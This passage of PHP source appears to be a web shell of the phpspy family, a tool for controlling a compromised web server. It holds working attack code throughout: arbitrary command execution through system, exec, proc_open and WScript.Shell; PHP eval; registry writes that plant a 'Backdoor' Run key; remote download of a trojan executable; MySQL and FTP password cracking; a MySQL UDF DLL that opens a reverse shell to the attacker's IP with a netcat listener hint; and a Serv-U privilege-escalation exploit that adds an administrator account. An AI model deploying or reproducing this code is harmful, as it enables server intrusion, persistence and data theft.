		$contents=htmlspecialchars($contents);
	}else{
		$editfile=$newfile;
		$filename = "$dir/$editfile";
	}
	$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
	$tb->tableheader();
	$tb->formheader($action,'/');
	$tb->tdbody(': '.$tb->makeinput('editfilename',$filename).'  Php: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'php\\n\\nphpphpgzinflate\')"> ');
	$tb->tdbody($tb->maketextarea('filecontent',$contents));
	$tb->makehidden('do','doeditfile');
	$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename") {
	$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
	$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->makehidden('oldname',$dir."/".$nowfile);
	$tb->makehidden('dir',$dir);
	$tb->tdbody(': '.basename($nowfile));
	$tb->tdbody(': '.$tb->makeinput('newname'));
	$tb->makehidden('do','rename');
	$tb->formfooter('1','30');
}//end rename

elseif ($_GET['action'] == "eval") {
	$action = "?dir=".urlencode($dir)."";
	$tb->tableheader();
	$tb->formheader(''.$action.' "target="_blank' ,'php');
	$tb->tdbody($tb->maketextarea('phpcode',$contents));
	$tb->formfooter('1','30');
	
}
elseif ($_GET['action'] == "fileperm") {
	$action = "?dir=".urlencode($dir)."&file=".$file;
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody(' '.$file.' : '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
	$tb->makehidden('file',$file);
	$tb->makehidden('dir',urlencode($dir));
	$tb->makehidden('do','editfileperm');
	$tb->formfooter('1','30');
}//end fileperm

elseif ($_GET['action'] == "newtime") {
	$action = "?dir=".urlencode($dir);
	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody(": ".$tb->makeinput('curfile',$file,'readonly')."  : ".$tb->makeinput('tarfile',''),'center','2','30');
	$tb->makehidden('do','domodtime');
	$tb->formfooter('','30');
	$tb->formheader($action,'');
	$tb->tdbody('<br><ul><li> 1901  12  13   20:45:54  2038 1  19   03:14:07<br>( 32 )</li><li>:  01  30 ,  0  24 ,  0  60 !</li></ul>','left');
	$tb->tdbody(': '.$file);
	$tb->makehidden('curfile',$file);
	$tb->tdbody(': '.$tb->makeinput('year','1984','','text','4').'  '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).'  '.$tb->makeinput('data','18','','text','2').'  '.$tb->makeinput('hour','20','','text','2').'  '.$tb->makeinput('minute','00','','text','2').'  '.$tb->makeinput('second','00','','text','2').' ','center','2','30');
	$tb->makehidden('do','modmytime');
	$tb->formfooter('1','30');
}//end newtime

elseif ($_GET['action'] == "shell") {
	$action = "??action=shell&dir=".urlencode($dir);
	$tb->tableheader();
	$tb->tdheader('WebShell Mode');
  if (substr(PHP_OS, 0, 3) == 'WIN') {
		$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
		$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
		echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
		$tb->tdbody('  : '.$tb->makeinput('program',$program).' : '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
		$tb->makehidden('do','programrun');
		echo "</form>\n";
	}
 echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
 if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
	$tb->tdbody(':,.. ');
	$tb->tdbody('proc_openwinnt,,.');
	$tb->tdbody('proc_opencmd:'.$tb->makeinput('cmd',$cmd,'','text','30').'(linux)');
   $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
   $tb->tdbody(': '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' : '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
?>
  <tr class="secondalt">
    <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
	if (!empty($_POST['command'])) {
		if ($execfunc=="system") {
			system($_POST['command']);
		} elseif ($execfunc=="passthru") {
			passthru($_POST['command']);
		} elseif ($execfunc=="exec") {
			$result = exec($_POST['command']);
			echo $result;
		} elseif ($execfunc=="shell_exec") {
			$result=shell_exec($_POST['command']);
			echo $result;	
		} elseif ($execfunc=="popen") {
			$pp = popen($_POST['command'], 'r');
			$read = fread($pp, 2096);
			echo $read;
			pclose($pp);
		} elseif ($execfunc=="wscript") {
			$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
			$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif($execfunc=="proc_open"){
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);
if (is_resource($process)) {

    // 
    fwrite($pipes[0], "".$_POST['command']."\r\n");
    fwrite($pipes[0], "exit\r\n");
    fclose($pipes[0]);
    // 
    while (!feof($pipes[1])) {
        echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
        echo fgets($pipes[2], 1024);
      }
    fclose($pipes[2]);

    proc_close($process);
}
		} else {
			system($_POST['command']);
		}
	}
	?></textarea></td>
  </tr>  
  </form>
</table>
<?php
}//end shell

elseif ($_GET['action'] == "reg") {
	$action = '?action=reg';
	$regname = isset($_POST['regname']) ? $_POST['regname'] : 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber';
	$registre = isset($_POST['registre']) ? $_POST['registre'] : 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor';
	$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\winnt\backdoor.exe';
	$delregname = $_POST['delregname'];
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody(': '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','','','submit'),'center','2','50');
	echo "</form>";

	$tb->formheader($action,'');
	$cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ');
	$tb->tdbody(': '.$tb->makeinput('writeregname',$registre,'','text','56').' : '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' :  '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','','','submit'),'center','2','50');
	echo "</form>";

	$tb->formheader($action,'');
	$tb->tdbody(': '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','','','submit'),'center','2','50');
	echo "</form>";
	$tb->tablefooter();
}//end reg
elseif ($_GET['action'] == "downloads"){
$action = '?action=dir';
	$tb->tableheader();
	$tb->formheader($action,'http');
	$tb->tdbody('http','center');
	$tb->tdbody(': '.$tb->makeinput('durl','http://google.com/muma.exe','','text','70').'<br>:'.$tb->makeinput('path','./muma.exe','','text','60').''.$tb->makehidden('do','downloads').''.$tb->makeinput('','','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody(',.','center');
	$tb->tablefooter();
}
elseif ($_GET['action'] == "mix"){
$action = '?action=dir';
	$tb->tableheader();
	$tb->formheader($action,'mix.dll');
	$tb->tdbody('phpspymix.dll','center');
	$tb->tdbody(': '.$tb->makeinput('mixto','./mix.dll','','text','70').''.$tb->makehidden('action','mix').''.$tb->makeinput('','unzip','','submit'),'center','1','35');
	echo "</form>";
	$tb->tablefooter();
}
elseif ($_GET['action'] == "crack"){
$action = '?action=dir';
	$tb->tableheader();
	$tb->tdbody('','center');
	if($type=="crack"){
	$tb->formheader($action,'mysqlftp <a href="?action=crack">[Mysql]</a>');
	$tb->tdbody('mysql','center');
	$tb->tdbody('host: '.$tb->makeinput('host','localhost','','text','12').'&nbsp'.$tb->makeinput('user','root','','text','12').''.$tb->makehidden('do','crack').'&nbsp;:'.$tb->makeinput('passfile','./password.txt','','text','20').'&nbsp;:'.$tb->makeinput('onetime','100','','text','6').'&nbsp;'.$tb->makeinput('','crack','','submit'),'center','1','35');
	$tb->tdbody('MYSQL:<input type="radio" name="ctype" value="mysql" checked> &nbsp;&nbsp;Ftp:<input type="radio" name="ctype" value="ftp">','center');
	echo "</form>";
	if(getphpcfg("allow_url_fopen")=="Yes") $temp = "";
	$tb->tdbody(''.$temp.'Ftp','center');
	$tb->formheader($action,'');
	$tb->tdbody('','center');
	$tb->tdbody('host: '.$tb->makeinput('host','127.0.0.1',''.$tb->makehidden('do','port').'','text','12').'&nbsp;:'.$tb->makeinput('port',''.$admin[port].'','','text','60').'','center','1','35');
	$tb->tdbody(''.$tb->makeinput('','','','submit').'','center');
	echo "</form>";
	$tb->tdbody('!','center');
	$tb->tableheader();
}else{
	$tb->formheader("".$action."\" enctype=\"multipart/form-data",'Mysql <a href="?action=crack&type=crack">[Crack]</a>');
	$tb->tdbody('MysqlmysqlWebshell','center');
	$tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').'db: '.$tb->makeinput('database','mysql.user','','text','16').'upto: '.$tb->makeinput('uppath','c:/','','text','16').''.$tb->makehidden('action','mysqlup'),'center','1','35');
	$tb->tdbody(': '.$tb->makeinput('upname','','','text','16').': '.$tb->makeinput('upfile','','','file','26').''.$tb->makeinput('','upload','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody('file,.','center');
	$tb->formheader($action,'Mysql');
	$tb->tdbody('MysqlWebshell  <input type="checkbox" name="rardown" value="yes" onclick="javascript:alert(\'RAR!\')"> ','center');
	$tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').''.$tb->makehidden('action','mysqldown').': '.$tb->makeinput('filename','C:/windows/php.ini','','text','26').''.$tb->makeinput('','download','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody('file,.','center');
	$tb->tdbody('WindowsMysqlSystemLinux.','center');
}
	$tb->tablefooter();
}
elseif ($_GET['action'] == "search"){
$action = '?dir='.$dir.'';
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody('!','center');
	$tb->tdbody(': '.$tb->makeinput('path',''.$nowpath.'','','text','70').'<br>:'.$tb->makeinput('oldkey','','','text','60').''.$tb->makehidden('do','search').'<br> <input type="checkbox" name="type" value="list" onclick="javascript:alert(\',\\n\\n:[/][12/99],.\\n\\n,,!\')"> (!) <br>:<input type="checkbox" name="type2" value="getpath" onclick="javascript:alert(\'..\\n\\n....\\n\\n,,!\')"> '.$tb->makeinput('beline','0','','text','3').' '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('endline','10','','text','3').'... '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('','','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody('.[/]','center');
	$tb->tablefooter();
}
elseif ($_GET['action'] == "proxy") {
	$action = '?action=proxy';
	$tb->tableheader();
	$tb->formheader($action,'','proxyframe');
	$tb->tdbody('<br><ul><li> HTTP ,CSS.</li><li>URL, SQL Injection .</li><li> URL,IP : '.gethostbyname($_SERVER['SERVER_NAME']).'</li></ul>','left');
	$tb->tdbody('URL: '.$tb->makeinput('url','http://www.google.com','','text','100').' '.$tb->makeinput('','','','submit'),'center','1','40');
	$tb->tdbody('<iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="http://www.google.com"></iframe>');
	echo "</form>";
	$tb->tablefooter();
}//end proxy

elseif ($_GET['action'] == "sql") {
	$action = '?action=sql';

	$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
	$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
	$dbpassword = $_POST['dbpassword'];
	$dbname = $_POST['dbname'];
	$sql_query = $_POST['sql_query'];
if($type=="fun"){
$sql_query = "CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\\Winnt\\\Mix.dll';
select Mixconnect('".$_SERVER['REMOTE_ADDR']."','8888');/**/
/* nc -vv -l -p 8888*/";
}
	$tb->tableheader();
	$tb->formheader($action,' SQL ');
	$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','','','submit'));
	$tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10'));
	$tb->makehidden('do','query');
	$tb->formfooter('1','30');
}//end sql query

elseif ($_GET['action'] == "sqlbak") {
	$action = '?action=sqlbak';
	$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
	$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
	$dbpassword = $_POST['dbpassword'];
	$dbname = $_POST['dbname'];
	$tb->tableheader();
	$tb->formheader($action,' MySQL ');
	$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','','','submit'));
	@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
    $tables = @mysql_list_tables($dbname);
    while ($table = @mysql_fetch_row($tables)) {
		$cachetables[$table[0]] = $table[0];
    }
    @mysql_free_result($tables);
	if (empty($cachetables)) {
		$tb->tdbody('<b> or </b>');
	} else {
		$tb->tdbody('<table border="0" cellpadding="3" cellspacing="1"><tr><td valign="top">:</td><td>'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'</td></tr><tr nowrap><td><input type="radio" name="backuptype" value="server" checked> :</td><td>'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'</td></tr><tr nowrap><td colspan="2"><input type="radio" name="backuptype" value="download">  ()</td></tr></table>');
		$tb->makehidden('do','backupmysql');
		$tb->formfooter('0','30');
	}
	$tb->tablefooter();
	@mysql_close();
}//end sql backup

elseif ($_GET['action'] == "phpenv") {
	$user = " <a href=\"?action=nowuser\" target=\"_blank\">crush</a> ";
	$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "";
	$adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
	if ($dis_func == "") {
		$dis_func = "No";
	}else {
		$dis_func = str_replace(" ","<br>",$dis_func);
		$dis_func = str_replace(",","<br>",$dis_func);
	}
	$phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
		$info = array(
		    0 => array("php",$user),
			1 => array("",PHP_OS),
			2 => array("",date("Ymd h:i:s",time())),
			3 => array("","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
			4 => array("IP",gethostbyname($_SERVER['SERVER_NAME'])),
			5 => array("",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
			6 => array("",$_SERVER['SERVER_SOFTWARE']),
			7 => array("Web",$_SERVER['SERVER_PORT']),
			8 => array("PHP",strtoupper(php_sapi_name())),
			9 => array("PHP",PHP_VERSION),
			10 => array("",getphpcfg("safemode")),
			11 => array("",$adminmail),
			12 => array("",__FILE__),
            13 => array(" URL  allow_url_fopen",getphpcfg("allow_url_fopen")),
			14 => array(" enable_dl",getphpcfg("enable_dl")),
			15 => array(" display_errors",getphpcfg("display_errors")),
			16 => array(" register_globals",getphpcfg("register_globals")),
			17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")),
			18 => array(" memory_limit",getphpcfg("memory_limit")),
			19 => array("POST post_max_size",getphpcfg("post_max_size")),
			20 => array(" upload_max_filesize",$upsize),
			21 => array(" max_execution_time",getphpcfg("max_execution_time").""),
			22 => array(" disable_functions",$dis_func),
			23 => array("phpinfo()",$phpinfo),
			24 => array("diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
            25 => array(" GD Library",getfun("imageline")),
			26 => array("IMAP",getfun("imap_close")),
			27 => array("MySQL",getfun("mysql_close")),
			28 => array("SyBase",getfun("sybase_close")),
			29 => array("Oracle",getfun("ora_close")),
			30 => array("Oracle 8 ",getfun("OCILogOff")),
			31 => array("PREL PCRE",getfun("preg_match")),
			32 => array("PDF",getfun("pdf_close")),
			33 => array("Postgre SQL",getfun("pg_close")),
			34 => array("SNMP",getfun("snmpget")),
			35 => array("(Zlib)",getfun("gzclose")),
			36 => array("XML",getfun("xml_set_object")),
			37 => array("FTP",getfun("ftp_login")),
			38 => array("ODBC",getfun("odbc_close")),
			39 => array("Session",getfun("session_start")),
			40 => array("Socket",getfun("fsockopen")),
		); 
	$tb->tableheader();
	echo "<form action=\"?action=phpenv\" method=\"POST\">\n";
	$tb->tdbody('<b>PHP</b>','left','1','30','style="padding-left: 5px;"');
	$tb->tdbody('(:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','','','submit'),'left','2','30','style="padding-left: 5px;"');
	$tb->makehidden('do','viewphpvar');
	echo "</form>\n";
	$hp = array(0=> '', 1=> 'PHP', 2=> '');
	for ($a=0;$a<3;$a++) {
		$tb->tdbody('<b>'.$hp[1].'</b>','left','1','30','style="padding-left: 5px;"');
?>
  <tr class="secondalt">
    <td>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
<?php
		if ($a==0) {
			for($i=0;$i<=12;$i++) {
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		} elseif ($a == 1) {
			for ($i=13;$i<=24;$i++) {
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		} elseif ($a == 2) {
			for ($i=25;$i<=40;$i++) {
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}
?>
      </table>
    </td>
  </tr>
<?php
	}//for
echo "</table>";
}//end phpenv
elseif($_GET['action'] == "mysqlfun"){
	  echo "<table width=\"760\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\"><tr class=\"firstalt\"><td align=\"left\">";
	if($_POST['port'] != "" && $_POST['ip'] != "" && $_POST['function'] != ""  && $_POST['host'] != "" && $_POST['user'] != "")
    {
		$link=@mysql_connect($_POST['host'],$_POST['user'],$_POST['pass']);
		if (!$link) {
			 echo "<font color=red>Could not connect: ".mysql_error()."</font><br>";
			 }
			 else{
			 echo "<font color=blue>Connected successfully as ".$_POST['user']."</font><br>";
			 if(isset($_POST['mixpath'])&&!@file_exists($_POST['mixpath'])){
			echo"<font color=red>Can't find the ".$_POST['mixpath']."</font><br>";
			 }
			if(isset($_POST['mixpath'])){
			 $dll_path = addslashes($_POST['mixpath']);
			 $query="create function ".$_POST['function']." returns integer soname '".$dll_path."';";
			 echo (@mysql_query($query, $link)) ? "<font color=blue>Success: ".$query."</font><br>" : "<font color=red>Create function faild!<br>".mysql_error()."</font><br>";
			 }
			 echo"<font color=red>Now Select Function name of ".$_POST['function']."</font><br>";
			 $query="select ".$_POST['function']."('".$_POST['ip']."','".$_POST['port']."');";
			 echo (@mysql_query($query, $link)) ? "<font color=blue>Success: ".$query."</font><br>" : "<font color=red>Select Function name of ".$_POST['function']." faild!<br>".mysql_error()."</font><br>";
			 mysql_close($link);
			 }
			 }else{
			 echo"";
			 }
			 echo "</td></tr></table>";
			 if($nodll=="yes"){
				 $echodll = " <a href=\"#\" title=\"\" onclick=\"alert('addslashes\\\\\\ \\\\\\\\\n\\nnc -vv -l -p mysql')\">(?)</a>&nbsp;    Mixdll:
      <input name=\"mixpath\" type=\"text\" class=\"INPUT\"  value=\"C:\mix.dll\" size=\"50\"> &nbsp;<a href=\"?action=mysqlfun\">(function)</a>";
			 }else{
				 $echodll = "<FONT color=\"blue\">function</FONT> &nbsp;<a href=\"?action=mysqlfun&nodll=yes\">(function)</a>";
			 }
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  <tr class="firstalt">
    <td align="center">mysql_functionmix.dll</td>
  </tr>
  <form action="?action=mysqlfun" method="POST">
  <tr class="secondalt">
    <td align="center"><a href="?action=sql&type=fun">(Func)</a>&nbsp;:
      <input name="port" type="text" class="INPUT"  value="5438" size="6">      
      IP:
      <input name="ip" type="text" class="INPUT" value="<?=$_SERVER['REMOTE_ADDR']?>">     function:
      <input name="function" type="text" class="INPUT"  value="Mixconnect"> &nbsp;<a href="?action=mix">(Mix.dll)</a>
      <br>
	  Host : <input name="host" type="text" class="INPUT"  value="localhost" size="12">        User : <input name="user" type="text" class="INPUT"  value="root" size="8">            PassWd : <input name="pass" type="text" class="INPUT"  value=""> <br>
	  <?=$echodll?>
	  <? echo"<input name=\"nodll\" value=\"".$nodll."\" type=\"hidden\">";?> </td>
  </tr>
  <tr class="secondalt">
    <td align="center"><input name="Submit" type="submit" class="input" id="Submit" value="">
      <input name="Submit" type="reset" class="INPUT" value=""></td>
  </tr>  
  </form>
    <tr class="secondalt">
    <td align="center">Remember,Love is a dieing dream....</td>
  </tr>
</table>
<?
}
elseif($_GET['action'] == "SUExp")
{
    if($_POST['SUPort'] != "" && $_POST['SUUser'] != "" && $_POST['SUPass'] != "")
    {
        echo "<table width=\"760\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\"><tr class=\"firstalt\"><td align=\"left\">";
        $sendbuf = "";
        $recvbuf = "";
        $domain  = "-SETDOMAIN\r\n".
                "-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n".
                "-TZOEnable=0\r\n".
                " TZOKey=\r\n";
        $adduser = "-SETUSERSETUP\r\n".
                "-IP=0.0.0.0\r\n".
                "-PortNo=21\r\n".
                "-User=".$user."\r\n".
                "-Password=".$password."\r\n".
                "-HomeDir=c:\\\r\n".
                "-LoginMesFile=\r\n".
                "-Disable=0\r\n".
                "-RelPaths=1\r\n".
                "-NeedSecure=0\r\n".
                "-HideHidden=0\r\n".
                "-AlwaysAllowLogin=0\r\n".
                "-ChangePassword=0\r\n".
                "-QuotaEnable=0\r\n".
                "-MaxUsersLoginPerIP=-1\r\n".
                "-SpeedLimitUp=0\r\n".
                "-SpeedLimitDown=0\r\n".
                "-MaxNrUsers=-1\r\n".
                "-IdleTimeOut=600\r\n".
                "-SessionTimeOut=-1\r\n".
                "-Expire=0\r\n".
                "-RatioUp=1\r\n".
                "-RatioDown=1\r\n".
                "-RatiosCredit=0\r\n".
                "-QuotaCurrent=0\r\n".
                "-QuotaMaximum=0\r\n".
                "-Maintenance=None\r\n".
                "-PasswordType=Regular\r\n".
                "-Ratios=None\r\n".
                " Access=".$part."\|RWAMELCDP\r\n";
        $deldomain="-DELETEDOMAIN\r\n".
                     "-IP=0.0.0.0\r\n".
                     " PortNo=21\r\n";
        $sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "USER ".$_POST["SUUser"]."\r\n";
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "SITE MAINTENANCE\r\n";
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = $domain;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = $adduser;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        echo "**********************************************************<br>";
		if($job!=="adduser"){//
        echo "Starting Exploit ...<br>";
        echo "**********************************************************<br>";
        $exp = fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "USER ".$user."\r\n";
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "PASS ".$password."\r\n";
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: site exec</font> <font color=green>".$_POST["SUCommand"]."</font><br>";
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        echo "**********************************************************<br>";
        echo "Starting Delete Domain ...<br>";
        echo "**********************************************************<br>";
        $sendbuf = $deldomain;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
		}else{
			echo "All done ...<br>";
			echo "**********************************************************<br>";
		}
        echo "</td></tr></table>";
        fclose($sock);
        if($job!=="adduser") fclose($exp);
    }
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  <tr class="firstalt">
    <td align="center">Serv-U  & </td>
  </tr>
  <form action="?action=SUExp" method="POST">
  <tr class="secondalt">
    <td align="center">LocalPort:
      <input name="SUPort" type="text" class="INPUT" id="SUPort" value="43958" size="7">      
      LocalUser:
      <input name="SUUser" type="text" class="INPUT" id="SUUser" value="LocalAdministrator">       LocalPass:
      <input name="SUPass" type="text" class="INPUT" id="SUPass" value="#l@$ak#.lk;0@P">
      <br>
	  <?php
	if($job!=="adduser"){
	?>
      Command:
      <input name="SUCommand" type="text" class="INPUT" id="SUCommand" value="net user saiy saiy /add" size="50"> &nbsp;<a href="?action=SUExp&job=adduser">()</a> -  <a href="#" title="" onClick="alert('saiysaiyEXPsaiy\n\nsite exec \n\n')">(?)</a>
	  <input name="user" type="hidden" value="saiy">
	  <input name="password" type="hidden" value="saiy">
	  <input name="part" type="hidden" value="C:\"> 
	  <?}
	  else{
	?>
	:
      <input name="user" type="text" class="INPUT" value="saiy" size="20">  
	  :
      <input name="password" type="text" class="INPUT" value="saiy" size="20">  
	  :
      <input name="part" type="text" class="INPUT" value="C:\" size="20">  
	  <a href="?action=SUExp">(CMD)</a> -  <a href="#" title="" onClick="alert('')">(?)</a>
	  <input name="job" type="hidden" value="<?=$job?>"> 
	<?php
	  }
		?></td>
  </tr>
  <tr class="secondalt">
    <td align="center"><input name="Submit" type="submit" class="input" id="Submit" value="">
      <input name="Submit" type="reset" class="INPUT" value=""></td>
  </tr>  
  </form>
</table>
<?php
}
?>
<hr width="775" noshade>
<table width="775" border="0" cellpadding="0">
  <tr>
    <td><FONT color=#ff3300>:</font></td>
    <td align="right"><?php
	debuginfo();
	ob_end_flush();	
	?></td>
  </tr>
</table>
</center>
</body>
</html>

<?php

/*======================================================

======================================================*/

	// 
	function loginpage() {
	global $hidden,$alexa;
if($hidden=="saiy"){
?>
<style type="text/css">
input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";}
</style>
<table width="416" border="0" align="center" cellpadding="0" cellspacing="0">
<form method="POST" action="">
  <tr> 
    <td height="75" align="center">
<span style="font-size: 11px; font-family: Verdana">: </span><input name="adminpass" type="password" size="20">
<input type="hidden" name="do" value="login">
<input type="submit" value="">
	</td>
  </tr>
  </form>
  <?php
	if($alexa!=="no"){
	?>
  </table>
  <?}
	}?>
